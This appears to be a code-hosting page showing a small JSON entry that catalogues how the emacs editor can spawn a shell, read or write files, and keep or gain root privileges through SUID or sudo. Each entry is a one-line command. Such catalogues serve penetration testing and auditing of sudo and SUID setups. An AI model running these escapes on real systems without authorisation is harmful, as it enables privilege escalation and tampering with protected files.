You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
29 lines
486 B
JSON
29 lines
486 B
JSON
5 years ago
|
{
|
||
|
"functions": {
|
||
|
"shell": [
|
||
|
{
|
||
|
"code": "emacs -Q -nw --eval '(term \"/bin/sh\")'"
|
||
|
}
|
||
|
],
|
||
|
"file-write": [
|
||
|
{
|
||
|
"code": "emacs [file]\nDATA\nC-x C-s\n"
|
||
|
}
|
||
|
],
|
||
|
"file-read": [
|
||
|
{
|
||
|
"code": "emacs [file]"
|
||
|
}
|
||
|
],
|
||
|
"suid": [
|
||
|
{
|
||
|
"code": "./emacs -Q -nw --eval '(term \"/bin/sh -p\")'"
|
||
|
}
|
||
|
],
|
||
|
"sudo": [
|
||
|
{
|
||
|
"code": "sudo emacs -Q -nw --eval '(term \"/bin/sh\")'"
|
||
|
}
|
||
|
]
|
||
|
}
|
||
|
}
|